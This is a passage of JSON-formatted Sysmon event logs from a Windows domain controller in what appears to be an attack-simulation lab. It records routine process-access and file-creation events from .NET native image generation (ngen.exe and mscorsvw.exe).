30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:48.869","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-431C-5F2D-0000-0010DEDD0F00}","TargetProcessId":"872","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:50","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:48","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8119,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:48.869\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-431C-5F2D-0000-0010DEDD0F00}\r\nTargetProcessId: 872\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:48.869","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-431C-5F2D-0000-0010DEDD0F00}","TargetProcessId":"872","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:50","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:48","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8120,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:48.885\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4324-5F2D-0000-00101B301000}\r\nTargetProcessId: 872\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:48.885","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4324-5F2D-0000-00101B301000}","TargetProcessId":"872","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:50","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:48","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8121,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:48.932\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4324-5F2D-0000-0010E5331000}\r\nTargetProcessId: 4608\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:48.932","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4324-5F2D-0000-0010E5331000}","TargetProcessId":"4608","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:50","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:48","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8122,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:48.932\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4324-5F2D-0000-0010E5331000}\r\nTargetProcessId: 4608\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:48.932","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4324-5F2D-0000-0010E5331000}","TargetProcessId":"4608","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:50","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:48","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8123,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:48.932\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4324-5F2D-0000-0010E5331000}\r\nTargetProcessId: 4608\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:48.932","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4324-5F2D-0000-0010E5331000}","TargetProcessId":"4608","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:50","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:49","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":8124,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:03:49.026\r\nProcessGuid: {90617006-4324-5F2D-0000-0010E5331000}\r\nProcessId: 4608\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1200-0\\System.Windows.Presentation.dll\r\nCreationUtcTime: 2020-08-07 12:03:49.026","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:03:49.026","ProcessGuid":"{90617006-4324-5F2D-0000-0010E5331000}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\1200-0\\System.Windows.Presentation.dll","CreationUtcTime":"2020-08-07 12:03:49.026","EventReceivedTime":"2020-08-07 12:03:50","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:49","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8125,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:49.057\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4325-5F2D-0000-0010F7381000}\r\nTargetProcessId: 5012\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:49.057","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4325-5F2D-0000-0010F7381000}","TargetProcessId":"5012","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:50","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:49","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8126,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:49.057\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4325-5F2D-0000-0010F7381000}\r\nTargetProcessId: 5012\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:49.057","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4325-5F2D-0000-0010F7381000}","TargetProcessId":"5012","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:50","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:49","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8127,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:49.057\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4325-5F2D-0000-0010F7381000}\r\nTargetProcessId: 5012\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: 